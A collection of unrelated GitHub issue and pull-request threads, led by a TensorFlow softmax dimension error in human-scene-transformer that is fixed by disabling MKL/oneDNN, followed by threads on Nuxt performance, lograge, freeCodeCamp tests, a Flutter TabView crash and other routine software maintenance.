tf Softmax input dimension error

System version: Gcloud debian 11
Cpu: C3 8vCPU
Memory: 64 GB
Software version1:
Python 3.9.2
numpy                         1.26.0
tensorflow                    2.14.0
open3d                        0.17.0
opencv-python-headless        <IP_ADDRESS>

Trace back:
Traceback (most recent call last):
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/train.py", line 141, in <module>
    app.run(main)
  File "/home/47800/.local/lib/python3.9/site-packages/absl/app.py", line 308, in run
    _run_main(main, args)
  File "/home/47800/.local/lib/python3.9/site-packages/absl/app.py", line 254, in _run_main
    sys.exit(main(argv))
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/train.py", line 124, in main
    train_model.train_model(
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/train_model.py", line 252, in train_model
    train_step(train_iter)
  File "/home/47800/.local/lib/python3.9/site-packages/tensorflow/python/util/traceback_utils.py", line 153, in error_handler
    raise e.with_traceback(filtered_tb) from None
  File "/home/47800/.local/lib/python3.9/site-packages/tensorflow/python/eager/execute.py", line 60, in quick_execute
    tensors = pywrap_tfe.TFE_Py_Execute(ctx._handle, device_name, op_name,
tensorflow.python.framework.errors_impl.AbortedError: Graph execution error:

Detected at node while/body/_1/while/human_trajectory_scene_transformer/feature_attn_agent_encoder_learned_layer/multi_head_attention/softmax/Softmax defined at (most recent call last):
<stack traces unavailable>
Input dims must be <= 5 and >=1
         [[{{node while/body/_1/while/human_trajectory_scene_transformer/feature_attn_agent_encoder_learned_layer/multi_head_attention/softmax/Softmax}}]] [Op:__inference_train_step_67952]

When I try to run 'train.py', it happens. I think it might be caused by dataload or preprocessed data itself.
I am still trying to fix it......
Software version2
Python == 3.8
tensorflow == 2.13

the behavior changes.
ARNING:tensorflow:From /home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/jrdb/input_fn.py:555: load (from tensorflow.python.data.experimental.ops.io) is deprecated and will be removed in a future version.
Instructions for updating:
Use `tf.data.Dataset.load(...)` instead.
W1016 02:08:06.098888<PHONE_NUMBER>03680 deprecation.py:364] From /home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/jrdb/input_fn.py:555: load (from tensorflow.python.data.experimental.ops.io) is deprecated and will be removed in a future version.
Instructions for updating:
Use `tf.data.Dataset.load(...)` instead.
[libprotobuf ERROR external/com_google_protobuf/src/google/protobuf/text_format.cc:337] Error parsing text-format tensorflow.data.experimental.DistributedSnapshotMetadata: 1:1: Invalid control characters encountered in text.
[libprotobuf ERROR external/com_google_protobuf/src/google/protobuf/text_format.cc:337] Error parsing text-format tensorflow.data.experimental.DistributedSnapshotMetadata: 1:3: Expected identifier, got:<PHONE_NUMBER>012573616
[libprotobuf ERROR external/com_google_protobuf/src/google/protobuf/text_format.cc:337] Error parsing text-format tensorflow.data.experimental.DistributedSnapshotMetadata: 1:1: Invalid control characters encountered in text.
......
......
[libprotobuf ERROR external/com_google_protobuf/src/google/protobuf/text_format.cc:337] Error parsing text-format tensorflow.data.experimental.DistributedSnapshotMetadata: 1:3: Expected identifier, got:<PHONE_NUMBER>901513222
I1016 02:08:23.444825<PHONE_NUMBER>03680 train_model.py:151] Model created on device.
2023-10-16 02:08:23.611301: W tensorflow/core/framework/dataset.cc:956] Input of GeneratorDatasetOp::Dataset will not be optimized because the dataset does not implement the AsGraphDefInternal() method needed to apply optimizations.
I1016 02:08:24.023096<PHONE_NUMBER>03680 train_model.py:245] Beginning training.
Traceback (most recent call last):
  File "train.py", line 141, in <module>
    app.run(main)
  File "/home/47800/miniconda3/envs/hstpy38/lib/python3.8/site-packages/absl/app.py", line 308, in run
    _run_main(main, args)
  File "/home/47800/miniconda3/envs/hstpy38/lib/python3.8/site-packages/absl/app.py", line 254, in _run_main
    sys.exit(main(argv))
  File "train.py", line 124, in main
    train_model.train_model(
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/train_model.py", line 252, in train_model
    train_step(train_iter)
  File "/home/47800/miniconda3/envs/hstpy38/lib/python3.8/site-packages/tensorflow/python/util/traceback_utils.py", line 153, in error_handler
    raise e.with_traceback(filtered_tb) from None
  File "/tmp/__autograph_generated_fileq49vjt2f.py", line 93, in tf__train_step
    ag__.for_stmt(ag__.converted_call(ag__.ld(tf).range, (ag__.converted_call(ag__.ld(tf).constant, (ag__.ld(train_params).batches_per_train_step,), None, fscope),), None, fscope), None, loop_body_1, get_state_4, set_state_4, (), {'iterate_names': '_'})
  File "/tmp/__autograph_generated_fileq49vjt2f.py", line 91, in loop_body_1
    ag__.converted_call(ag__.ld(strategy).run, (ag__.ld(step_fn),), dict(args=(ag__.converted_call(ag__.ld(next), (ag__.ld(iterator),), None, fscope),), options=ag__.converted_call(ag__.ld(tf).distribute.RunOptions, (), dict(experimental_enable_dynamic_batch_size=False), fscope)), fscope)
  File "/tmp/__autograph_generated_fileq49vjt2f.py", line 21, in step_fn
    loss_dict = ag__.converted_call(ag__.ld(loss_obj), (ag__.ld(output_batch), ag__.ld(predictions)), None, fscope_1)
  File "/tmp/__autograph_generated_file4bviil8d.py", line 12, in tf____call__
    retval_ = ag__.converted_call(ag__.ld(self).call, (ag__.ld(input_batch), ag__.ld(predictions)), None, fscope)
  File "/tmp/__autograph_generated_filevzzr7lrl.py", line 13, in tf__call
    loss_dict = (ag__.ld(position_loss) | ag__.ld(mixture_loss))
TypeError: in user code:

    File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/train_model.py", line 184, in step_fn  *
        loss_dict = loss_obj(output_batch, predictions)
    File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/losses.py", line 37, in __call__  *
        return self.call(input_batch, predictions)
    File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/losses.py", line 456, in call  *
        loss_dict = position_loss | mixture_loss

    TypeError: unsupported operand type(s) for |: 'dict' and 'dict'

Hi Mo,
Thanks for reaching out! Could you please clarify which gin configuration files you are using? E.g. please post the exact command you are running:
python train.py --gin_files ...

Best
Tim

Hi Mo,
Thanks for reaching out! Could you please clarify which gin configuration files you are using? E.g. please post the exact command you are running and if you made any changes to the gin configurations.
python train.py --gin_files ...

Best Tim

Hi Dr. Tim,
Thank you so much for your help.
I am running command lines below
cd /home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer
export PYTHONPATH=/path/to/directory:/home/47800/SocialNavigation_v2/human-scene-transformer
python3 train.py --model_base_dir=./model/jrdb  --gin_files=./config/jrdb/training_params.gin --gin_files=./config/jrdb/model_params.gin --gin_files=./config/jrdb/dataset_params.gin --gin_files=./config/jrdb/metrics.gin --dataset=JRDB

With the differences
--- /home/47800/originalHST/human-scene-transformer/human_scene_transformer/config/jrdb/dataset_params.gin      2023-10-18 02:40:21.036342842 +0000
+++ /home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/config/jrdb/dataset_params.gin      2023-10-15 21:01:53.859915432 +0000
@@ -55,7 +55,7 @@
  'tressider-2019-04-26_3_test']

-JRDBDatasetParams.path = '<dataset_path>'
+JRDBDatasetParams.path = '/home/47800/SocialNavigation_v2/pre_tf_dataset'

 JRDBDatasetParams.train_scenes = %TRAIN_SCENES
 JRDBDatasetParams.eval_scenes = %TEST_SCENES

In the '/home/47800/SocialNavigation_v2/pre_tf_dataset', I have
(base) 47800@instance-3:~/originalHST$ ls /home/47800/SocialNavigation_v2/pre_tf_dataset
bytes-cafe-2019-02-07_0                     hewlett-class-2019-01-23_0_test              outdoor-coupa-cafe-2019-02-06_0_test
clark-center-2019-02-28_0                   hewlett-class-2019-01-23_1_test              packard-poster-session-2019-03-20_0
clark-center-2019-02-28_1                   hewlett-packard-intersection-2019-01-24_0    packard-poster-session-2019-03-20_1
clark-center-intersection-2019-02-28_0      huang-2-2019-01-25_0                         packard-poster-session-2019-03-20_2
cubberly-auditorium-2019-04-22_0            huang-2-2019-01-25_1_test                    quarry-road-2019-02-28_0_test
cubberly-auditorium-2019-04-22_1_test       huang-basement-2019-01-25_0                  serra-street-2019-01-30_0_test
discovery-walk-2019-02-28_0_test            huang-intersection-2019-01-22_0_test         stlc-111-2019-04-19_0
discovery-walk-2019-02-28_1_test            huang-lane-2019-02-12_0                      stlc-111-2019-04-19_1_test
food-trucks-2019-02-12_0_test               indoor-coupa-cafe-2019-02-06_0_test          stlc-111-2019-04-19_2_test
forbes-cafe-2019-01-22_0                    jordan-hall-2019-04-22_0                     svl-meeting-gates-2-2019-04-08_0
gates-159-group-meeting-2019-04-03_0        lomita-serra-intersection-2019-01-30_0_test  svl-meeting-gates-2-2019-04-08_1
gates-ai-lab-2019-02-08_0                   memorial-court-2019-03-16_0                  tressider-2019-03-16_0
gates-ai-lab-2019-04-17_0_test              meyer-green-2019-03-16_0                     tressider-2019-03-16_1
gates-basement-elevators-2019-01-17_0_test  meyer-green-2019-03-16_1_test                tressider-2019-03-16_2_test
gates-basement-elevators-2019-01-17_1       nvidia-aud-2019-01-25_0_test                 tressider-2019-04-26_0_test
gates-foyer-2019-01-17_0_test               nvidia-aud-2019-04-18_0                      tressider-2019-04-26_1_test
gates-to-clark-2019-02-28_0_test            nvidia-aud-2019-04-18_1_test                 tressider-2019-04-26_2
gates-to-clark-2019-02-28_1                 nvidia-aud-2019-04-18_2_test                 tressider-2019-04-26_3_test

Hi Mo,
Unfortunately, we are still struggling to reproduce the error.
Does the error occur in (or even before) the very first training iteration?
Does the same error occur when you are not training but evaluating?
The shapes you are getting from tf.print('\n**************ds_train:**************\n',ds_train) look good to me except that the batch dimension is missing. Am I right in assuming that you are running this before ds_train = ds_train.batch(train_params.batch_size, drop_remainder=True) is run in train.py?

Q: Is there might be some problems with ' scene/timestamp': TensorSpec(shape=(), dtype=tf.int64, name=None)'

The timestep is a scalar, so this is expected.

Q: Is the dataset supposed to be infinite?

Yes! once the train dataset reaches its end it will be repeated
https://github.com/google-research/human-scene-transformer/blob/7e9b9278f253b4ba48c1931d6eccaca8362efa4b/human_scene_transformer/jrdb/input_fn.py#L696-L697

Does the error occur in (or even before) the very first training iteration?
Yes, at the first iteration.

Does the same error occur when you are not training but evaluating?

/home/47800/miniconda3/envs/hstpy310/lib/python3.10/site-packages/tensorflow/python/data/ops/map_op.py:35: UserWarning: The `deterministic` argument has no effect unless the `num_parallel_calls` argument is specified.
  warnings.warn("The `deterministic` argument has no effect unless the "
2023-10-18 18:13:54.933894: W tensorflow/core/framework/op_kernel.cc:1839] OP_REQUIRES failed at mkl_softmax_op.cc:252 : ABORTED: Input dims must be <= 5 and >=1
Traceback (most recent call last):
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/jrdb/eval.py", line 166, in <module>
    app.run(main)
  File "/home/47800/miniconda3/envs/hstpy310/lib/python3.10/site-packages/absl/app.py", line 308, in run
    _run_main(main, args)
  File "/home/47800/miniconda3/envs/hstpy310/lib/python3.10/site-packages/absl/app.py", line 254, in _run_main
    sys.exit(main(argv))
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/jrdb/eval.py", line 162, in main
    evaluation(_CKPT_PATH.value)
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/jrdb/eval.py", line 64, in evaluation
    _, _ = model(next(iter(dataset.batch(1))), training=False)
  File "/home/47800/miniconda3/envs/hstpy310/lib/python3.10/site-packages/keras/src/utils/traceback_utils.py", line 70, in error_handler
    raise e.with_traceback(filtered_tb) from None
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/model/model.py", line 178, in call
    input_batch = self.agent_encoding_layer(input_batch, training=training)
  File "/home/47800/SocialNavigation_v2/human-scene-transformer/human_scene_transformer/model/agent_encoder.py", line 189, in call
    attn_out, attn_score = self.attn_layer(
tensorflow.python.framework.errors_impl.AbortedError: Exception encountered when calling layer 'softmax' (type Softmax).

{{function_node __wrapped__Softmax_device_/job:localhost/replica:0/task:0/device:CPU:0}} Input dims must be <= 5 and >=1 [Op:Softmax] name:

Call arguments received by layer 'softmax' (type Softmax):
  • inputs=tf.Tensor(shape=(1, 11, 19, 4, 1, 4), dtype=float32)
  • mask=tf.Tensor(shape=(1, 11, 19, 1, 1, 4), dtype=bool)

Good news is that the dataset has been loaded as expected, and there might be an extran dimension.

Hi Mo,
Could you please try and set the environment variable TF_DISABLE_MKL=1 to disable MKL backend for tf?
Thanks
Tim

Hi Mo,
Could you, in addition also set TF_ENABLE_ONEDNN_OPTS=0?
Could you please outline the procedure of how you installed tensorflow? Conda / pip?

Do you know which dim is redundant?

Unfortunately non of the dimensions is redundant

BTW, is the 'M1' chip in the runtime table the APPLE M1 or Google cloud M1 ?

This is Apple M1
Best
Tim

Hi Tim

Could you, in addition also set TF_ENABLE_ONEDNN_OPTS=0?

Thank you so much. It works :)

Could you please outline the procedure of how you installed tensorflow? Conda / pip?

similar to the codes below
conda create -n env_name python=3.x
pip3 install -r human-scene-transformer/requirement.txt

Btw, could you tell me why it works with 'TF_ENABLE_ONEDNN_OPTS=0' and 'TF_DISABLE_MKL=1' ? And then the dim error disappears ?

Hi Mo,
Glad it works now!

Btw, could you tell me why it works with TF_ENABLE_ONEDNN_OPTS=0 and TF_DISABLE_MKL=1 ? And then the dim error disappears ?

MKL is a tensorflow backend by Intel optimized for their CPUs. Unfortunately, it does not support tensor dimensions > 5 for some operations, making it incompatible with this codebase (We added a note in the readme).

I add a marker in the loop. Does this mean the training get stuck and never move forward? Because it has been stuck there for several hours.

Not necessarily. We combine many training iterations in one tf.function context, which avoids overhead on TPU / GPU. This could take a long time on CPU. You could set the following lines to 1 to have a more fine-grained feedback over training iterations.
https://github.com/google-research/human-scene-transformer/blob/7e9b9278f253b4ba48c1931d6eccaca8362efa4b/human_scene_transformer/config/jrdb/training_params.gin#L7-L8C6
Feel free to close the issue should this have solved your problem.
Best
Tim

Hi Tim,
It is solved perfectly. Thank you so much!
I will close this issue soon.
Best regards,
Mo


Update UI to reflect new requirements when adding creators

Because we can now add creators without identifiers, the UI needs to change a bit.
WDLL

Orcid is not longer required in new creator form
require both first and last name (?)
require email (?)
adding unidentified creators inserts new record into Author table without a linked Actor record
entering an Orcid ID will populate the other fields with the resulting metadata

I don't think we should require first names because we can expect some non-person authors. (A corolary is that the last name field may include non-person names). Additionally, I don't think we should require emails.


Add Ubuntu 14.04 support, add basic test cases.

Addressing #4 and #5.

@colby please review CR change.


Update wine-staging to 2.4

After making all changes to the cask:

[x] brew cask audit --download {{cask_file}} is error-free.
[x] brew cask style --fix {{cask_file}} left no offenses.
[x] The commit message includes the cask’s name and version.

Travis-CI Download failed on Xcode 8 image, but went fine on Xcode 7 one.


Make timelines clearer

Add y-axis to the graph
Translatis: other improvements?

@mhkuu there is a bug with the timeline in Safari.
Also what does the burst mean? Can you tell us how Texcavator calculates the bursts?

@melvinwevers Yes that's issue #29 :+1:
The bursts are calculated using Kleinberg's burst detection algorithm. If I have some time available I'll try and come up with a short description :-)

Fail.

btw, the reference to this paper will suffice. We can refer to this as well. Thanks.

Other issues:

at the end of the timeline there seems to be a bar that doesn't display anything
when filtered on time, wrong dates are shown in the title
the word cloud is sometimes rendered on top of the graph instead of below it


OOP school library: add basic UI

[x] Created an app.rb file that will serve as your console app entry-point. It should have methods that do the following:

List all books.
List all people.
Create a person (teacher or student, not a plain Person).
Create a book.
Create a rental.
List all rentals for a given person id.

[x] In the main.rb , I defined the entry point, this will be a method called main that is invoked at the end of your file. This method should do the following:

Present the user with a list of options to perform.
Lets users choose an option.
If needed, ask for parameters for the option.
Have a way to quit the app.

Hi @lucy-sees, , it would be nice to remove the live demo section from your readme as you are not going to deploy this project, please this is a comment not a review 👍🏿

Kindly update reveiw, I have made the suggested change

Kindly await a review 👍🏿


Update RecyclerViewFragment.java

Prevent automatic scrolldown at startup

Thanks.
Could you fix the style to be consistent with the rest of the project?

The if statement should have enclosed brackets: {}
Spacing around the if statement. If you're using Android Studio and haven't touched the code formatting options it should do it automatically for you by pressing ctrl-alt-L

Still missing spacing around the difference operator: state != ExpandableLayout.State.COLLAPSED

Perfect, thanks!


Reduce differences between the rendering test runner and the standard test runner

This removes a couple differences between the rendering test runner and the standard one.

Looks good to me.


How to join the slack channel ?

the link of slack channel in readme is just a home page.
How do I get invitation from administrator

Maybe there is a problem in the link?
It is should be the invitation page instead of home page.

Maybe there is a problem in the link?
It is should be the invitation page instead of home page.

Dear @jackwener , thanks!!
Could you help check if this link works for you?


Could not log "process_action.action_controller" event. ArgumentError: wrong number of arguments (0 for 1) when validation error occured

Issue
In bug fix of the issue #110 , you had modified following this.
https://github.com/roidrage/lograge/pull/112/files#diff-d3a7c7717409a1c1353805f9579b980bR64
But, in get_error_status_code method, there is exception_object = exception.constantize.new .
https://github.com/roidrage/lograge/pull/112/files#diff-d3a7c7717409a1c1353805f9579b980bR71
If the exception requires arguments (for example, as of ActiveRecord::RecordInvalid), exception_object = exception.constantize.new throw ArgumentError: wrong number of arguments.
Such errors cause Could not log "process_action.action_controller" event. ArgumentError: wrong number of arguments (0 for 1) in 85 line of activesupport-4.2.0/lib/active_support/log_subscriber.rb .
Environments

Lograge version : 0.3.2
Rails version : 4.2.0
RVM/rbenv/chruby/etc are not used
Ruby version : 2.2.2p95 (2015-04-13 revision 50295)
OS : Cent 7

Should use ActionDispatch::ExceptionWrapper.status_code_for_exception instead of instantiating a new exception from the class name and use its name?

Any workarounds? I have the same issue with logger.

I will look into this the coming weekend. Thanks for the input @sakuro

I looked into it,
using ActionDispatch::ExceptionWrapper.status_code_for_exception would work for a number of errors:
https://github.com/rails/rails/blob/1ca13b47da46247345a0d4547edc495f0cc83bf6/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb#L10-L20
But it would completely ignore the ActiveRecord::NotFound and return a 500 for this.
Maybe there could be a combination of both approaches to catch more of the status codes.

AR seems that it registers AR specific exceptions to the mappings, right?
https://github.com/rails/rails/blob/1ca13b47da46247345a0d4547edc495f0cc83bf6/activerecord/lib/active_record/railtie.rb#L25

I expected that too after reading the code, but when executing the code with tests there is no AR specific mapping in the exception wrapper. Maybe this just gets loaded when you run rails as an "actual" instance?

I have the same issue in our production system. Can I help with any info? Any progress here? Thanks a lot!!!

Sorry I am currently a bit down under. We are happy about a pull request that would fix this.

I'm looking into this now. Hold tight.

@pxlpnk Ideally we'd have at least a few integration specs that load rails in its entirety and to cover this end to end, but for now at least I think #134 should resolve this issue.


[BETA] QA and testing with Chai first test fails in test if a value is a string when using glitch boilerplate

Challenge Name
https://beta.freecodecamp.org/en/challenges/quality-assurance-and-testing-with-chai/test-if-a-value-is-a-string
Issue Description
First test "all tests should pass" fails when using the glitch boilerplate.
This is because it tests for a NODE_ENGINE env value which does not exist in the glitch boilerplate, so it's returning undefined.  A user can fix this manually by adding it to the env file of the glitch project.
This could be fixed by providing instructions in the challenge on how to add the environment variable to the env file, or by changes to the boilerplate to set the env file variable.

cc @tchaffee and @Em-Ant

the new url https://learn.freecodecamp.org/information-security-and-quality-assurance/quality-assurance-and-testing-with-chai doesn't work. I get NOT FOUND

@Em-Ant some of the challenge superblocks (section intros) are not yet added. You should be able to visit indiviual challenges with the search though.

For example https://search.freecodecamp.org/?q=quality assurance and testing with chai

@clandau both the boilerplate https://glitch.com/edit/#!/sincere-cone?path=server.js:70:2 and the repo https://github.com/freeCodeCamp/boilerplate-mochachai/blob/gomix/server.js use only the SKIP_TESTS env var, which should be explicitly set to prevent the tests from running. All the tests run by default. Where do you see the reference to NODE_ENGINE ?

@Em-Ant it's at line 141 in tests/1_unit-tests.js of the glitch boilerplate

Ok, got it. The boilerplate cannot set the env file itself. Do you think we should replace that test with another one ? What could be a good example ? Any suggestions ?

@Em-Ant can you send me the boilerplate, I can take a look at it, and share my suggestions?

@Em-Ant I'll look into the tests when I get a chance.  @accimeesterlin is this what you're looking for? https://github.com/freeCodeCamp/boilerplate-mochachai

@clandau by the way, I don't remember exactly but I think that at the beginning NODE_ENGINE was one of the env vars defined by default in a hyperdev/gomix/glitch project. Now it's not used anymore. Try to console.log(process.env) in a glitch empty project, you will see many env vars defined. We could simply use a different one, but probably it's not something we can rely on for the future.

@Em-Ant How about PATH or NAME?  Assuming these exist on every system.
Something like:
assert.fail(process.env.PATH, 'env vars are strings (or undefined)');
Or just make it really simple and change it to a string:
assert.fail('Lorum ipsum', '"lorem ipsum" is a string');
    #entire test
    test('#isString, #isNotString', function() {
      assert.fail(Math.sin(Math.PI/4), 'a float is not a string');
      assert.fail(process.env.PATH, 'env vars are strings (or undefined)');
      assert.fail(JSON.stringify({type: 'object'}), 'a JSON is a string');
    });

Hi @Em-Ant and @clandau were you able to figure out a good solution for this?

@QuincyLarson @Em-Ant I did submit a pull request here: https://github.com/freeCodeCamp/boilerplate-mochachai/pull/2
It did the change that I mentioned above where I made the env var PATH instead of NODE_ENGINE with the thought that PATH is a variable that will be in projects by default.
It's up to you and your maintainers if you think the fix is appropriate.

@clandau @QuincyLarson I'll update the boilerplate with Courtney's change if it's ok.

Hi @Em-Ant can you confirm you were able to update this? If so, could you close this issue?

@Em-Ant Awesome! Thank you for confirming you were able to update this!


[CT-1827] 064_column_comments_tests

Ticket has grown in scope, so reopening until a second PR resolves this. In particular, this second PR will move persist docs tests to the adapter zone and will not be merged until tests within adapter repos are redesigned to draw from these adapter zone tests. After merging all of these, we may close this conversion as complete.


Since Nuxt 2.9.0, Nuxt is really slow. (Works perfect on 2.8.1)

Version
v2.9.0
Reproduction link
https://github.com/t1gu1/nuxt-2.9.0-and-more-is-slower
Steps to reproduce

Install the project and read readme.
Switch between Menu 1 and Menu 2 few time.

We can really see the issue when we change from a page to another (Click on a menu link few time)
What is expected ?
Be as fast as 2.8.1
What is actually happening?
Since the 2.9.0 the performance drop is huge. (3s+ to load a page)
As is said, we can really see the issue when we change from a page to another (Click on a menu link few time)
Additional comments?
On the 2.8.1, it seems take less than an half second. (Maybe less it's really fast)
I just test the 2.10.0 and the issue is still present. (We build and start a new project to test)

This bug report is available on Nuxt community (#c9857)

See #6279, with potential workaround.

Hi @danielroe,
I don't really see any workaround in the issue #6279 and the status is defined close without solution.
The only workaround i've found myself is to downgrade to the 2.8.1. :(
Thanks for the answer.

@t1gu1 Worth a try - https://github.com/nuxt/nuxt.js/issues/6279#issuecomment-528763416: export const strict = false in store/index.js

Except the index.js with pretty nothing inside that I don't use, I don't really have a store in the reproductible project that I share.

@danielroe, I just remove store (index.js) and the speed of the application is effectively more constant and faster. It takes now 1.8s to load a page and not 3s. The speed seems decrease with time.
BUT with the version 2.8.1 it takes like 200ms(I dont really know) to load a page. It's really faster in 2.8.1.
The workaround is effective but really not as downgrade the version to 2.8.1.

@t1gu1 does it happen only in dev mode or in production build too?

@t1gu1 Thank you so much for the report, I’ll look into it this weekend

Hi @t1gu1 , there is some founding from @aldarund , could you try to turn off vue-meta by setting features.meta: false in nuxt.config?

@t1gu1 to workaround your issue you need to use nuxt-i18n better.  disable seo in nuxt config and see this -> https://github.com/nuxt-community/nuxt-i18n/blob/master/docs/seo.md#improving-performance

@aldarund, from my experience about that problem, this is just a tiny mini bit better in prod mode.
I'll repeat myself but it still really not comparable to the 2.8.1.
Also thanks @clarkdo & @aldarund for the vue-meta / seo reference.
I'll test it and make a feedback to you in my next comment.
I'll just let you keep in mind than that happend only after 2.8.1 and it was fine before. (Testable in the linked project if you switch between version in the package.json)
So basically I think that your points are nice performance optimisation that i'll try to keep in mind for my future & current project (Thanks for that) but it's not the problem.
What's change in the 2.9.0 that could make all that slower and now require a lot performance optimisation from Nuxt users? What could you guess?
Thanks for all again!! :)

@t1gu1 Here is the changelog: https://github.com/nuxt/nuxt.js/releases/tag/v2.9.0
Note the vue-meta upgrade, for example.

@t1gu1 which version of vue-meta are you using? Do you also use nuxt-jsonld or nuxt-i18n ? If yes try to force install<EMAIL_ADDRESS>and let me know how it affected the performance.
Check out https://github.com/nuxt/vue-meta/issues/443 to get more context of an issue

Best workaround from @aldarund
:heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark:
@aldarund This is it!!! :heart:  #bigThanks
Your link about that: https://github.com/nuxt-community/nuxt-i18n/blob/master/docs/seo.md#improving-performance
:heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark: :heavy_check_mark:
Since I turn seo off and add it as it's described(The optimized way), the speed is as good as 2.8.1. (And I keep the vuex store without the changes we talks)
p.s. Desactivate store make a little difference but it was really nothing compare to turn seo off and use the workaround.

@AndrewBogdanovTSS, I use nuxt-i18n.
vue-meta is a default nuxt package so i'm not sure how to make the force install of it.
If it's not a default package installed in Nuxt, I do not have that package in the test project that we talk. If it is. feel free to use my reproduction link to test your point. (Sry, I just dont really know how to force a package of a package)

To resume, the performance drop since the 2.9.0 is clearly about meta/nuxt-i18n meta/seo.
@AndrewBogdanovTSS, it really looks something like the issue you share (nuxt/vue-meta#443), because I really feel it when the routing is trigger and page change.
Thanks again @everyone!

Please note that<EMAIL_ADDRESS>has been released, no need to install the beta anymore. You can run yarn upgrade or yarn add<EMAIL_ADDRESS>to install the newer version
@t1gu1 Last friday I spent quite some test trying to get to the bottom of this but had to give up due to other obligations. Although you were saying that it was fine before, it really wasnt. In any version of vue-meta there appears to be a memory leak if a global mixin adds a head function, which makes me believe the issue might originate from Vue.
The only 'issue' that seems to exists is that since vue-meta v2 that memory leak is causing issues, might just be because something wasnt working before but since v2 it is.

The only 'issue' that seems to exists is that since vue-meta v2 that memory leak is causing issues, might just be because something wasnt working before but since v2 it is.

That's really make me laugh haha :rofl:
@pimlie, I've two small question for you. (or everyone)

Is vue-meta a defaut Package installed with/inside Nuxt?
(If it's a default nuxt package) If I install the package, will it "ovewrite" the one used by Nuxt?

I just wanna to be sure, because I don't have that package in my package.json.
Thanks

vue-meta is a dependency of nuxt indeed.
With yarn upgrade no. With yarn add<EMAIL_ADDRESS>also no until nuxt upgrades to v3 but your package.json is still pointing to v2. But Nuxt will log a warning about version mismatching anyway, so yes but no.

See here for more info how package versions are matched

@danielroe (Just to share) I'm not sure about the point of strict on that issue. https://github.com/nuxt/nuxt.js/issues/6279#issuecomment-528763416
In the official documentation, they say:

Do not enable strict mode when deploying for production!

Reference: https://vuex.vuejs.org/guide/strict.html

@t1gu1 if you are using yarn you can add:
"resolutions": {
    "vue-meta": "2.3.0"
  }

inside your package.json - that will make yarn choose specified version over the once that is required by the related package

@t1gu1 it's not enabled in prod :wink:

I also notice since the upgrade to 2.9.0 vue-meta was updated, and all of my configs inside  head: {} in nuxt.config.js render nothing, I fixed this by downgrading to version 2.8.1 which uses vue-meta 1.6 , I don't know if its an issue with nuxt or vue-meta, I also tried upgrading to nuxt latest and manually installing vue-meta version 1.6 but got an error saying version 2.0 is required
here's my head config in nuxt.config.js
  head: {
    meta: [
      {name: 'viewport', content: 'width=device-width, initial-scale=1'},
      {name: 'referrer', content: 'unsafe-url'}
    ],
    link: [
      {rel: 'stylesheet', href: 'https://use.fontawesome.com/releases/v5.7.2/css/all.css'},
      {rel: 'stylesheet', href: 'https://fonts.googleapis.com/css?family=Open+Sans:400,700'}
    ]
  },

everything is missing after upgrading to version 2.9 or above

This looks like a bug to me, is there a way we can have those stuff disabled by default ?

Has this been addressed?

I'm closing this as there is no reproduction and we've now released Nuxt 3, which is significantly faster.


Tests issues fixed

All test files moved to probdists subdirectory.
All paths updated accordingly.
Filename converted to a string to accommodate POSIX path change in case of gamma and other file names.
All tests run successfully.

So again there is an import issue with pandas, it says missing xlrd. For pandas are there any specific changes that are required to make in requirements or any other file?

@errpv78 I already added pandas to requirements.txt, there seems to be a failure for xlrd now.
You'll have to tell me all the dependencies needed, which I'll have to add to requirements.txt
You'll (painfully I know T.T) then have to create a fresh PR to run the updated tests.
I suggest you create a virtual environment on your pc, try running the code and make a list of the libraries you had to install to get your code running.

Okay I'll make a fresh list of required libraries.

Okay I have made list of all the requirements:
certifi==2020.6.20
cycler==0.10.0
kiwisolver==1.3.0
matplotlib==3.3.2
numpy==1.19.3
pandas==1.1.3
Pillow==8.0.1
pyparsing==2.4.7
python-dateutil==2.8.1
pytz==2020.1
six==1.15.0
xlrd==1.2.0
Update the requirements and then I'll make the pr.

@errpv78 Done!

@errpv78 any updates?

Okay so I'm closing this one


Crash on Tabview interacting with TextField

Steps to Reproduce
I'm trying to use tabs to navigate between multiple forms, at my first program I used the example at the cookbook, using the default controller. The problem occurs if I tap at the TextField on the first tab, then I go to the last tab and when I return to the first tab my program crashes, showing only a white screen, at my console I receive an huge exception stack.
The only way I find to solve this problem was create a custom controller with a listener that remove the focus from the forms when navigating between tabs.
My code
import 'package:dnd_cs/tabs/charInfo.dart';
import 'package:dnd_cs/tabs/charSkills.dart';
import 'package:dnd_cs/tabs/charEquip.dart';

class NewSheetForm extends StatefulWidget {
  @override
  _NewSheetFormState createState() => new _NewSheetFormState();
}

class _NewSheetFormState extends State<NewSheetForm> {
  CharInfo charInfoTab = new CharInfo();
  CharSkills charSkillsTab = new CharSkills();
  CharEquip charEquipTab = new CharEquip();

  @override
  Widget build(BuildContext context) {
    return new DefaultTabController(
        length: 3,
        child: new Scaffold(
          appBar: new AppBar(
            title: new Text('Dados do personagem'),
            bottom: new TabBar(
              tabs: [
                new Tab(
                  icon: new Icon(Icons.perm_identity),
                ),
                new Tab(
                  icon: new Icon(Icons.description),
                ),
                new Tab(
                  icon: new Icon(Icons.work),
                ),
              ],
            ),
          ),
          body: TabBarView(
              physics: new NeverScrollableScrollPhysics(),
              children: [charInfoTab, charSkillsTab, charEquipTab]),
        ),
    );
  }
}

First tab
import 'package:flutter/material.dart';

class CharInfo extends StatefulWidget {
  @override
  _CharInfoState createState() => new _CharInfoState();
}

